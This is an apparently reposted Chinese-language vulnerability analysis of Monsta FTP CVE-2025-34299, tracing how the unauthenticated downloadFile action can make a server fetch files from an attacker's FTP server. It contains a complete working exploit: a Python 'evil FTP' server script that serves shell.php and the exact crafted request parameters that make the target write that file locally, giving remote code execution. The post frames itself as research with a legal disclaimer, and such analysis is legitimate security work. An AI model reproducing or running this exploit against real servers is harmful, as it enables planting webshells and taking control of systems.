文章总结: 本文分析了MonstaFTPCVE-2025-34299远程代码执行漏洞。通过分析入口文件和请求分发逻辑,发现攻击者可利用downloadFile方法绕过web鉴权,强制服务器连接恶意FTP服务器并下载PHP文件。文章详细梳理了漏洞利用流程,提供了搭建恶意FTP服务器的Python脚本及请求数据包构造方式,证实了攻击者可通过此漏洞在目标服务器上写入Webshell获取控制权。 综合评分: 88 文章分类: 漏洞分析,WEB安全,漏洞POC,渗透测试
Monsta FTP CVE-2025-34299 RCE 浅析
原创
Ha1ey
安全白白
2026年1月6日 08:01 北京
官网:https://www.monstaftp.com/
分析
首先看一下入口点 application/api/api.php
根据我们传入的 request参数中 actionName进入 \RequestMarshaller::marshallRequest方法
跳过几个特殊的方法 来到这里
\RequestDispatcher::dispatchRequest 方法,数组中的方法可以直接被调用到,这里是 downloadFile
来到 \RequestDispatcher::downloadFile,这里$this->connectAndAuthenticate();不是web 的鉴权 是 ftp 的
\ConnectionBase::downloadFile ,这里直接用最普通的 ftp
可以看到 \FTPConnection::handleDownloadFile 中 调用了@ftp_get 进行了文件写入
启动一个 ftp 的监听放一个php,使目标下载即可
evilftp.py
import os
from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServer
classEvilFTPHandler(FTPHandler):
def on_connect(self):
print(f"[+] FTP client connected: {self.remote_ip}")
def on_login(self, username):
print(f"[+] FTP login: {username}")
def on_file_sent(self, file):
print(f"[+] File sent: {file}")
def start_evil_ftp(host="0.0.0.0", port=2121):
ftp_root = "/tmp/evilftp"
os.makedirs(ftp_root, exist_ok=True)
print(f"[*] FTP root directory: {ftp_root}")
filename = "shell.php"
filepath = os.path.join(ftp_root, filename)
payload = "<?php phpinfo(); ?>"
with open(filepath, "w") as f:
f.write(payload)
print(f"[+] Payload file created: {filename}")
username = 'test'
password = 'test'
print(f"[+] FTP credentials: {username} / {password}")
authorizer = DummyAuthorizer()
authorizer.add_user(username, password, ftp_root, perm="elradfmw")
handler = EvilFTPHandler
handler.authorizer = authorizer
handler.banner = "220 Evil FTP Server Ready"
server = FTPServer((host, port), handler)
print(f"[*] Evil FTP listening on {host}:{port}")
server.serve_forever()
if __name__ == "__main__":
start_evil_ftp()
最后构造的 request 参数为
request={
"actionName": "downloadFile",
"connectionType": "ftp",
"configuration": {
"host": "127.0.0.1",
"port": 2121,
"username": "test",
"password": "test"
},
"context": {
"remotePath": "shell.php",
"localPath": "shell.php"
}
}
本文首发于先知社区:https://xz.aliyun.com/news/91007
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:安全白白 Ha1ey《Monsta FTP CVE-2025-34299 RCE 浅析》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论